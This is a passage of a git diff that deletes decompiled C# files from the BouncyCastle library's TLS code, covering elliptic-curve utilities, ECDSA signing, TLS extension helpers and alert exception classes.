a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDsaSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDsaSigner.cs deleted file mode 100644 index bc654a9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDsaSigner.cs +++ /dev/null @@ -1,19 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Signers; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsECDsaSigner : TlsDsaSigner -{ - protected override byte SignatureAlgorithm => 3; - - public override bool IsValidPublicKey(AsymmetricKeyParameter publicKey) - { - return publicKey is ECPublicKeyParameters; - } - - protected override IDsa CreateDsaImpl(byte hashAlgorithm) - { - return new ECDsaSigner(new HMacDsaKCalculator(TlsUtilities.CreateHash(hashAlgorithm))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsEccUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsEccUtilities.cs deleted file mode 100644 index abd669c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsEccUtilities.cs +++ /dev/null @@ -1,605 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.EC; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.Field; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsEccUtilities -{ - private static readonly string[] CurveNames = new string[28] - { - "sect163k1", "sect163r1", "sect163r2", "sect193r1", "sect193r2", "sect233k1", "sect233r1", "sect239k1", "sect283k1", "sect283r1", - "sect409k1", "sect409r1", "sect571k1", "sect571r1", "secp160k1", "secp160r1", "secp160r2", "secp192k1", "secp192r1", "secp224k1", - "secp224r1", "secp256k1", "secp256r1", "secp384r1", "secp521r1", "brainpoolP256r1", "brainpoolP384r1", "brainpoolP512r1" - }; - - public static void AddSupportedEllipticCurvesExtension(IDictionary extensions, int[] namedCurves) - { - extensions[10] = CreateSupportedEllipticCurvesExtension(namedCurves); - } - - public static void AddSupportedPointFormatsExtension(IDictionary extensions, byte[] ecPointFormats) - { - extensions[11] = CreateSupportedPointFormatsExtension(ecPointFormats); - } - - public static int[] GetSupportedEllipticCurvesExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 10); - if (extensionData != null) - { - return ReadSupportedEllipticCurvesExtension(extensionData); - } - return null; - } - - public static byte[] GetSupportedPointFormatsExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 11); - if (extensionData != null) - { - return ReadSupportedPointFormatsExtension(extensionData); - } - return null; - } - - public static byte[] CreateSupportedEllipticCurvesExtension(int[] namedCurves) - { - if (namedCurves == null || namedCurves.Length < 1) - { - throw new TlsFatalAlert(80); - } - return TlsUtilities.EncodeUint16ArrayWithUint16Length(namedCurves); - } - - public static byte[] CreateSupportedPointFormatsExtension(byte[] ecPointFormats) - { - if (ecPointFormats == null || !Arrays.Contains(ecPointFormats, 0)) - { - ecPointFormats = Arrays.Append(ecPointFormats, 0); - } - return TlsUtilities.EncodeUint8ArrayWithUint8Length(ecPointFormats); - } - - public static int[] ReadSupportedEllipticCurvesExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: false); - int num = TlsUtilities.ReadUint16(memoryStream); - if (num < 2 || (num & 1) != 0) - { - throw new TlsFatalAlert(50); - } - int[] result = TlsUtilities.ReadUint16Array(num / 2, memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return result; - } - - public static byte[] ReadSupportedPointFormatsExtension(byte[] extensionData) - { - byte[] array = TlsUtilities.DecodeUint8ArrayWithUint8Length(extensionData); - if (!Arrays.Contains(array, 0)) - { - throw new TlsFatalAlert(47); - } - return array; - } - - public static string GetNameOfNamedCurve(int namedCurve) - { - if (!IsSupportedNamedCurve(namedCurve)) - { - return null; - } - return CurveNames[namedCurve - 1]; - } - - public static ECDomainParameters GetParametersForNamedCurve(int namedCurve) - { - string nameOfNamedCurve = GetNameOfNamedCurve(namedCurve); - if (nameOfNamedCurve == null) - { - return null; - } - X9ECParameters byName = CustomNamedCurves.GetByName(nameOfNamedCurve); - if (byName == null) - { - byName = ECNamedCurveTable.GetByName(nameOfNamedCurve); - if (byName == null) - { - return null; - } - } - return new ECDomainParameters(byName.Curve, byName.G, byName.N, byName.H, byName.GetSeed()); - } - - public static bool HasAnySupportedNamedCurves() - { - return CurveNames.Length > 0; - } - - public static bool ContainsEccCipherSuites(int[] cipherSuites) - { - for (int i = 0; i < cipherSuites.Length; i++) - { - if (IsEccCipherSuite(cipherSuites[i])) - { - return true; - } - } - return false; - } - - public static bool IsEccCipherSuite(int cipherSuite) - { - switch (cipherSuite) - { - case 49153: - case 49154: - case 49155: - case 49156: - case 49157: - case 49158: - case 49159: - case 49160: - case 49161: - case 49162: - case 49163: - case 49164: - case 49165: - case 49166: - case 49167: - case 49168: - case 49169: - case 49170: - case 49171: - case 49172: - case 49173: - case 49174: - case 49175: - case 49176: - case 49177: - case 49187: - case 49188: - case 49189: - case 49190: - case 49191: - case 49192: - case 49193: - case 49194: - case 49195: - case 49196: - case 49197: - case 49198: - case 49199: - case 49200: - case 49201: - case 49202: - case 49203: - case 49204: - case 49205: - case 49206: - case 49207: - case 49208: - case 49209: - case 49210: - case 49211: - case 49266: - case 49267: - case 49268: - case 49269: - case 49270: - case 49271: - case 49272: - case 49273: - case 49286: - case 49287: - case 49288: - case 49289: - case 49290: - case 49291: - case 49292: - case 49293: - case 49306: - case 49307: - case 49324: - case 49325: - case 49326: - case 49327: - case 52392: - case 52393: - case 52396: - case 65282: - case 65283: - case 65284: - case 65285: - case 65300: - case 65301: - return true; - default: - return false; - } - } - - public static bool AreOnSameCurve(ECDomainParameters a, ECDomainParameters b) - { - return a?.Equals(b) ?? false; - } - - public static bool IsSupportedNamedCurve(int namedCurve) - { - if (namedCurve > 0) - { - return namedCurve <= CurveNames.Length; - } - return false; - } - - public static bool IsCompressionPreferred(byte[] ecPointFormats, byte compressionFormat) - { - if (ecPointFormats == null) - { - return false; - } - foreach (byte b in ecPointFormats) - { - if (b == 0) - { - return false; - } - if (b == compressionFormat) - { - return true; - } - } - return false; - } - - public static byte[] SerializeECFieldElement(int fieldSize, BigInteger x) - { - return BigIntegers.AsUnsignedByteArray((fieldSize + 7) / 8, x); - } - - public static byte[] SerializeECPoint(byte[] ecPointFormats, ECPoint point) - { - ECCurve curve = point.Curve; - bool compressed = false; - if (ECAlgorithms.IsFpCurve(curve)) - { - compressed = IsCompressionPreferred(ecPointFormats, 1); - } - else if (ECAlgorithms.IsF2mCurve(curve)) - { - compressed = IsCompressionPreferred(ecPointFormats, 2); - } - return point.GetEncoded(compressed); - } - - public static byte[] SerializeECPublicKey(byte[] ecPointFormats, ECPublicKeyParameters keyParameters) - { - return SerializeECPoint(ecPointFormats, keyParameters.Q); - } - - public static BigInteger DeserializeECFieldElement(int fieldSize, byte[] encoding) - { - int num = (fieldSize + 7) / 8; - if (encoding.Length != num) - { - throw new TlsFatalAlert(50); - } - return new BigInteger(1, encoding); - } - - public static ECPoint DeserializeECPoint(byte[] ecPointFormats, ECCurve curve, byte[] encoding) - { - if (encoding == null || encoding.Length < 1) - { - throw new TlsFatalAlert(47); - } - byte b; - switch (encoding[0]) - { - case 2: - case 3: - if (ECAlgorithms.IsF2mCurve(curve)) - { - b = 2; - break; - } - if (ECAlgorithms.IsFpCurve(curve)) - { - b = 1; - break; - } - throw new TlsFatalAlert(47); - case 4: - b = 0; - break; - default: - throw new TlsFatalAlert(47); - } - if (b != 0 && (ecPointFormats == null || !Arrays.Contains(ecPointFormats, b))) - { - throw new TlsFatalAlert(47); - } - return curve.DecodePoint(encoding); - } - - public static ECPublicKeyParameters DeserializeECPublicKey(byte[] ecPointFormats, ECDomainParameters curve_params, byte[] encoding) - { - try - { - ECPoint q = DeserializeECPoint(ecPointFormats, curve_params.Curve, encoding); - return new ECPublicKeyParameters(q, curve_params); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(47, alertCause); - } - } - - public static byte[] CalculateECDHBasicAgreement(ECPublicKeyParameters publicKey, ECPrivateKeyParameters privateKey) - { - ECDHBasicAgreement eCDHBasicAgreement = new ECDHBasicAgreement(); - eCDHBasicAgreement.Init(privateKey); - BigInteger n = eCDHBasicAgreement.CalculateAgreement(publicKey); - return BigIntegers.AsUnsignedByteArray(eCDHBasicAgreement.GetFieldSize(), n); - } - - public static AsymmetricCipherKeyPair GenerateECKeyPair(SecureRandom random, ECDomainParameters ecParams) - { - ECKeyPairGenerator eCKeyPairGenerator = new ECKeyPairGenerator(); - eCKeyPairGenerator.Init(new ECKeyGenerationParameters(ecParams, random)); - return eCKeyPairGenerator.GenerateKeyPair(); - } - - public static ECPrivateKeyParameters GenerateEphemeralClientKeyExchange(SecureRandom random, byte[] ecPointFormats, ECDomainParameters ecParams, Stream output) - { - AsymmetricCipherKeyPair asymmetricCipherKeyPair = GenerateECKeyPair(random, ecParams); - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)asymmetricCipherKeyPair.Public; - WriteECPoint(ecPointFormats, eCPublicKeyParameters.Q, output); - return (ECPrivateKeyParameters)asymmetricCipherKeyPair.Private; - } - - internal static ECPrivateKeyParameters GenerateEphemeralServerKeyExchange(SecureRandom random, int[] namedCurves, byte[] ecPointFormats, Stream output) - { - int num = -1; - if (namedCurves == null) - { - num = 23; - } - else - { - foreach (int num2 in namedCurves) - { - if (NamedCurve.IsValid(num2) && IsSupportedNamedCurve(num2)) - { - num = num2; - break; - } - } - } - ECDomainParameters eCDomainParameters = null; - if (num >= 0) - { - eCDomainParameters = GetParametersForNamedCurve(num); - } - else if (Arrays.Contains(namedCurves, 65281)) - { - eCDomainParameters = GetParametersForNamedCurve(23); - } - else if (Arrays.Contains(namedCurves, 65282)) - { - eCDomainParameters = GetParametersForNamedCurve(10); - } - if (eCDomainParameters == null) - { - throw new TlsFatalAlert(80); - } - if (num < 0) - { - WriteExplicitECParameters(ecPointFormats, eCDomainParameters, output); - } - else - { - WriteNamedECParameters(num, output); - } - return GenerateEphemeralClientKeyExchange(random, ecPointFormats, eCDomainParameters, output); - } - - public static ECPublicKeyParameters ValidateECPublicKey(ECPublicKeyParameters key) - { - return key; - } - - public static int ReadECExponent(int fieldSize, Stream input) - { - BigInteger bigInteger = ReadECParameter(input); - if (bigInteger.BitLength < 32) - { - int intValue = bigInteger.IntValue; - if (intValue > 0 && intValue < fieldSize) - { - return intValue; - } - } - throw new TlsFatalAlert(47); - } - - public static BigInteger ReadECFieldElement(int fieldSize, Stream input) - { - return DeserializeECFieldElement(fieldSize, TlsUtilities.ReadOpaque8(input)); - } - - public static BigInteger ReadECParameter(Stream input) - { - return new BigInteger(1, TlsUtilities.ReadOpaque8(input)); - } - - public static ECDomainParameters ReadECParameters(int[] namedCurves, byte[] ecPointFormats, Stream input) - { - try - { - switch (TlsUtilities.ReadUint8(input)) - { - case 1: - { - CheckNamedCurve(namedCurves, 65281); - BigInteger bigInteger3 = ReadECParameter(input); - BigInteger a2 = ReadECFieldElement(bigInteger3.BitLength, input); - BigInteger b3 = ReadECFieldElement(bigInteger3.BitLength, input); - byte[] encoding2 = TlsUtilities.ReadOpaque8(input); - BigInteger bigInteger4 = ReadECParameter(input); - BigInteger bigInteger5 = ReadECParameter(input); - ECCurve curve2 = new FpCurve(bigInteger3, a2, b3, bigInteger4, bigInteger5); - ECPoint g2 = DeserializeECPoint(ecPointFormats, curve2, encoding2); - return new ECDomainParameters(curve2, g2, bigInteger4, bigInteger5); - } - case 2: - { - CheckNamedCurve(namedCurves, 65282); - int num = TlsUtilities.ReadUint16(input); - byte b = TlsUtilities.ReadUint8(input); - if (!ECBasisType.IsValid(b)) - { - throw new TlsFatalAlert(47); - } - int num2 = ReadECExponent(num, input); - int k = -1; - int k2 = -1; - if (b == 2) - { - k = ReadECExponent(num, input); - k2 = ReadECExponent(num, input); - } - BigInteger a = ReadECFieldElement(num, input); - BigInteger b2 = ReadECFieldElement(num, input); - byte[] encoding = TlsUtilities.ReadOpaque8(input); - BigInteger bigInteger = ReadECParameter(input); - BigInteger bigInteger2 = ReadECParameter(input); - ECCurve curve = ((b == 2) ? new F2mCurve(num, num2, k, k2, a, b2, bigInteger, bigInteger2) : new F2mCurve(num, num2, a, b2, bigInteger, bigInteger2)); - ECPoint g = DeserializeECPoint(ecPointFormats, curve, encoding); - return new ECDomainParameters(curve, g, bigInteger, bigInteger2); - } - case 3: - { - int namedCurve = TlsUtilities.ReadUint16(input); - if (!NamedCurve.RefersToASpecificNamedCurve(namedCurve)) - { - throw new TlsFatalAlert(47); - } - CheckNamedCurve(namedCurves, namedCurve); - return GetParametersForNamedCurve(namedCurve); - } - default: - throw new TlsFatalAlert(47); - } - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(47, alertCause); - } - } - - private static void CheckNamedCurve(int[] namedCurves, int namedCurve) - { - if (namedCurves != null && !Arrays.Contains(namedCurves, namedCurve)) - { - throw new TlsFatalAlert(47); - } - } - - public static void WriteECExponent(int k, Stream output) - { - BigInteger x = BigInteger.ValueOf(k); - WriteECParameter(x, output); - } - - public static void WriteECFieldElement(ECFieldElement x, Stream output) - { - TlsUtilities.WriteOpaque8(x.GetEncoded(), output); - } - - public static void WriteECFieldElement(int fieldSize, BigInteger x, Stream output) - { - TlsUtilities.WriteOpaque8(SerializeECFieldElement(fieldSize, x), output); - } - - public static void WriteECParameter(BigInteger x, Stream output) - { - TlsUtilities.WriteOpaque8(BigIntegers.AsUnsignedByteArray(x), output); - } - - public static void WriteExplicitECParameters(byte[] ecPointFormats, ECDomainParameters ecParameters, Stream output) - { - ECCurve curve = ecParameters.Curve; - if (ECAlgorithms.IsFpCurve(curve)) - { - TlsUtilities.WriteUint8(1, output); - WriteECParameter(curve.Field.Characteristic, output); - } - else - { - if (!ECAlgorithms.IsF2mCurve(curve)) - { - throw new ArgumentException("'ecParameters' not a known curve type"); - } - IPolynomialExtensionField polynomialExtensionField = (IPolynomialExtensionField)curve.Field; - int[] exponentsPresent = polynomialExtensionField.MinimalPolynomial.GetExponentsPresent(); - TlsUtilities.WriteUint8(2, output); - int i = exponentsPresent[^1]; - TlsUtilities.CheckUint16(i); - TlsUtilities.WriteUint16(i, output); - if (exponentsPresent.Length == 3) - { - TlsUtilities.WriteUint8(1, output); - WriteECExponent(exponentsPresent[1], output); - } - else - { - if (exponentsPresent.Length != 5) - { - throw new ArgumentException("Only trinomial and pentomial curves are supported"); - } - TlsUtilities.WriteUint8(2, output); - WriteECExponent(exponentsPresent[1], output); - WriteECExponent(exponentsPresent[2], output); - WriteECExponent(exponentsPresent[3], output); - } - } - WriteECFieldElement(curve.A, output); - WriteECFieldElement(curve.B, output); - TlsUtilities.WriteOpaque8(SerializeECPoint(ecPointFormats, ecParameters.G), output); - WriteECParameter(ecParameters.N, output); - WriteECParameter(ecParameters.H, output); - } - - public static void WriteECPoint(byte[] ecPointFormats, ECPoint point, Stream output) - { - TlsUtilities.WriteOpaque8(SerializeECPoint(ecPointFormats, point), output); - } - - public static void WriteNamedECParameters(int namedCurve, Stream output) - { - if (!NamedCurve.RefersToASpecificNamedCurve(namedCurve)) - { - throw new TlsFatalAlert(80); - } - TlsUtilities.WriteUint8(3, output); - TlsUtilities.CheckUint16(namedCurve); - TlsUtilities.WriteUint16(namedCurve, output); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsEncryptionCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsEncryptionCredentials.cs deleted file mode 100644 index 608f17c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsEncryptionCredentials.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsEncryptionCredentials : TlsCredentials -{ - byte[] DecryptPreMasterSecret(byte[] encryptedPreMasterSecret); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsException.cs deleted file mode 100644 index 7901e0a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsException.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsException : IOException -{ - public TlsException(string message, Exception cause) - : base(message, cause) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsExtensionsUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsExtensionsUtilities.cs deleted file mode 100644 index 53bb078..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsExtensionsUtilities.cs +++ /dev/null @@ -1,376 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsExtensionsUtilities -{ - public static IDictionary EnsureExtensionsInitialised(IDictionary extensions) - { - if (extensions != null) - { - return extensions; - } - return Platform.CreateHashtable(); - } - - public static void AddClientCertificateTypeExtensionClient(IDictionary extensions, byte[] certificateTypes) - { - extensions[19] = CreateCertificateTypeExtensionClient(certificateTypes); - } - - public static void AddClientCertificateTypeExtensionServer(IDictionary extensions, byte certificateType) - { - extensions[19] = CreateCertificateTypeExtensionServer(certificateType); - } - - public static void AddEncryptThenMacExtension(IDictionary extensions) - { - extensions[22] = CreateEncryptThenMacExtension(); - } - - public static void AddExtendedMasterSecretExtension(IDictionary extensions) - { - extensions[23] = CreateExtendedMasterSecretExtension(); - } - - public static void AddHeartbeatExtension(IDictionary extensions, HeartbeatExtension heartbeatExtension) - { - extensions[15] = CreateHeartbeatExtension(heartbeatExtension); - } - - public static void AddMaxFragmentLengthExtension(IDictionary extensions, byte maxFragmentLength) - { - extensions[1] = CreateMaxFragmentLengthExtension(maxFragmentLength); - } - - public static void AddPaddingExtension(IDictionary extensions, int dataLength) - { - extensions[21] = CreatePaddingExtension(dataLength); - } - - public static void AddServerCertificateTypeExtensionClient(IDictionary extensions, byte[] certificateTypes) - { - extensions[20] = CreateCertificateTypeExtensionClient(certificateTypes); - } - - public static void AddServerCertificateTypeExtensionServer(IDictionary extensions, byte certificateType) - { - extensions[20] = CreateCertificateTypeExtensionServer(certificateType); - } - - public static void AddServerNameExtension(IDictionary extensions, ServerNameList serverNameList) - { - extensions[0] = CreateServerNameExtension(serverNameList); - } - - public static void AddStatusRequestExtension(IDictionary extensions, CertificateStatusRequest statusRequest) - { - extensions[5] = CreateStatusRequestExtension(statusRequest); - } - - public static void AddTruncatedHMacExtension(IDictionary extensions) - { - extensions[4] = CreateTruncatedHMacExtension(); - } - - public static byte[] GetClientCertificateTypeExtensionClient(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 19); - if (extensionData != null) - { - return ReadCertificateTypeExtensionClient(extensionData); - } - return null; - } - - public static short GetClientCertificateTypeExtensionServer(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 19); - if (extensionData != null) - { - return ReadCertificateTypeExtensionServer(extensionData); - } - return -1; - } - - public static HeartbeatExtension GetHeartbeatExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 15); - if (extensionData != null) - { - return ReadHeartbeatExtension(extensionData); - } - return null; - } - - public static short GetMaxFragmentLengthExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 1); - if (extensionData != null) - { - return ReadMaxFragmentLengthExtension(extensionData); - } - return -1; - } - - public static int GetPaddingExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 21); - if (extensionData != null) - { - return ReadPaddingExtension(extensionData); - } - return -1; - } - - public static byte[] GetServerCertificateTypeExtensionClient(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 20); - if (extensionData != null) - { - return ReadCertificateTypeExtensionClient(extensionData); - } - return null; - } - - public static short GetServerCertificateTypeExtensionServer(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 20); - if (extensionData != null) - { - return ReadCertificateTypeExtensionServer(extensionData); - } - return -1; - } - - public static ServerNameList GetServerNameExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 0); - if (extensionData != null) - { - return ReadServerNameExtension(extensionData); - } - return null; - } - - public static CertificateStatusRequest GetStatusRequestExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 5); - if (extensionData != null) - { - return ReadStatusRequestExtension(extensionData); - } - return null; - } - - public static bool HasEncryptThenMacExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 22); - if (extensionData != null) - { - return ReadEncryptThenMacExtension(extensionData); - } - return false; - } - - public static bool HasExtendedMasterSecretExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 23); - if (extensionData != null) - { - return ReadExtendedMasterSecretExtension(extensionData); - } - return false; - } - - public static bool HasTruncatedHMacExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 4); - if (extensionData != null) - { - return ReadTruncatedHMacExtension(extensionData); - } - return false; - } - - public static byte[] CreateCertificateTypeExtensionClient(byte[] certificateTypes) - { - if (certificateTypes == null || certificateTypes.Length < 1 || certificateTypes.Length > 255) - { - throw new TlsFatalAlert(80); - } - return TlsUtilities.EncodeUint8ArrayWithUint8Length(certificateTypes); - } - - public static byte[] CreateCertificateTypeExtensionServer(byte certificateType) - { - return TlsUtilities.EncodeUint8(certificateType); - } - - public static byte[] CreateEmptyExtensionData() - { - return TlsUtilities.EmptyBytes; - } - - public static byte[] CreateEncryptThenMacExtension() - { - return CreateEmptyExtensionData(); - } - - public static byte[] CreateExtendedMasterSecretExtension() - { - return CreateEmptyExtensionData(); - } - - public static byte[] CreateHeartbeatExtension(HeartbeatExtension heartbeatExtension) - { - if (heartbeatExtension == null) - { - throw new TlsFatalAlert(80); - } - MemoryStream memoryStream = new MemoryStream(); - heartbeatExtension.Encode(memoryStream); - return memoryStream.ToArray(); - } - - public static byte[] CreateMaxFragmentLengthExtension(byte maxFragmentLength) - { - return TlsUtilities.EncodeUint8(maxFragmentLength); - } - - public static byte[] CreatePaddingExtension(int dataLength) - { - TlsUtilities.CheckUint16(dataLength); - return new byte[dataLength]; - } - - public static byte[] CreateServerNameExtension(ServerNameList serverNameList) - { - if (serverNameList == null) - { - throw new TlsFatalAlert(80); - } - MemoryStream memoryStream = new MemoryStream(); - serverNameList.Encode(memoryStream); - return memoryStream.ToArray(); - } - - public static byte[] CreateStatusRequestExtension(CertificateStatusRequest statusRequest) - { - if (statusRequest == null) - { - throw new TlsFatalAlert(80); - } - MemoryStream memoryStream = new MemoryStream(); - statusRequest.Encode(memoryStream); - return memoryStream.ToArray(); - } - - public static byte[] CreateTruncatedHMacExtension() - { - return CreateEmptyExtensionData(); - } - - private static bool ReadEmptyExtensionData(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - if (extensionData.Length != 0) - { - throw new TlsFatalAlert(47); - } - return true; - } - - public static byte[] ReadCertificateTypeExtensionClient(byte[] extensionData) - { - byte[] array = TlsUtilities.DecodeUint8ArrayWithUint8Length(extensionData); - if (array.Length < 1) - { - throw new TlsFatalAlert(50); - } - return array; - } - - public static byte ReadCertificateTypeExtensionServer(byte[] extensionData) - { - return TlsUtilities.DecodeUint8(extensionData); - } - - public static bool ReadEncryptThenMacExtension(byte[] extensionData) - { - return ReadEmptyExtensionData(extensionData); - } - - public static bool ReadExtendedMasterSecretExtension(byte[] extensionData) - { - return ReadEmptyExtensionData(extensionData); - } - - public static HeartbeatExtension ReadHeartbeatExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: false); - HeartbeatExtension result = HeartbeatExtension.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return result; - } - - public static byte ReadMaxFragmentLengthExtension(byte[] extensionData) - { - return TlsUtilities.DecodeUint8(extensionData); - } - - public static int ReadPaddingExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - for (int i = 0; i < extensionData.Length; i++) - { - if (extensionData[i] != 0) - { - throw new TlsFatalAlert(47); - } - } - return extensionData.Length; - } - - public static ServerNameList ReadServerNameExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: false); - ServerNameList result = ServerNameList.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return result; - } - - public static CertificateStatusRequest ReadStatusRequestExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: false); - CertificateStatusRequest result = CertificateStatusRequest.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return result; - } - - public static bool ReadTruncatedHMacExtension(byte[] extensionData) - { - return ReadEmptyExtensionData(extensionData); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsFatalAlert.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsFatalAlert.cs deleted file mode 100644 index 7f17022..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsFatalAlert.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsFatalAlert : TlsException -{ - private readonly byte alertDescription; - - public virtual byte AlertDescription => alertDescription; - - public TlsFatalAlert(byte alertDescription) - : this(alertDescription, null) - { - } - - public TlsFatalAlert(byte alertDescription, Exception alertCause) - : base(Org.BouncyCastle.Crypto.Tls.AlertDescription.GetText(alertDescription), alertCause) - { - this.alertDescription = alertDescription; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsFatalAlertReceived.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsFatalAlertReceived.cs deleted file mode 100644 index 88252f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsFatalAlertReceived.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsFatalAlertReceived : TlsException -{ - private readonly byte alertDescription; - - public virtual byte AlertDescription => alertDescription; - - public TlsFatalAlertReceived(byte alertDescription) - : base(Org.BouncyCastle.Crypto.Tls.AlertDescription.GetText(alertDescription), null) - { - this.alertDescription = alertDescription; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsHandshakeHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsHandshakeHash.cs deleted file mode 100644 index 7b18d0f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsHandshakeHash.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsHandshakeHash : IDigest -{ - void Init(TlsContext context); - - TlsHandshakeHash NotifyPrfDetermined(); - - void TrackHashAlgorithm(byte hashAlgorithm); - - void SealHashAlgorithms(); - - TlsHandshakeHash StopTracking(); - - IDigest ForkPrfHash(); - - byte[] GetFinalHash(byte hashAlgorithm); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsKeyExchange.cs deleted file mode 100644 index 49737dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsKeyExchange.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsKeyExchange -{ - bool RequiresServerKeyExchange { get; } - - void Init(TlsContext context); - - void SkipServerCredentials(); - - void ProcessServerCredentials(TlsCredentials serverCredentials); - - void ProcessServerCertificate(Certificate serverCertificate); - - byte[] GenerateServerKeyExchange(); - - void SkipServerKeyExchange(); - - void ProcessServerKeyExchange(Stream input); - - void ValidateCertificateRequest(CertificateRequest certificateRequest); - - void SkipClientCredentials(); - - void ProcessClientCredentials(TlsCredentials clientCredentials); - - void ProcessClientCertificate(Certificate clientCertificate); - - void GenerateClientKeyExchange(Stream output); - - void ProcessClientKeyExchange(Stream input); - - byte[] GeneratePremasterSecret(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsMac.cs 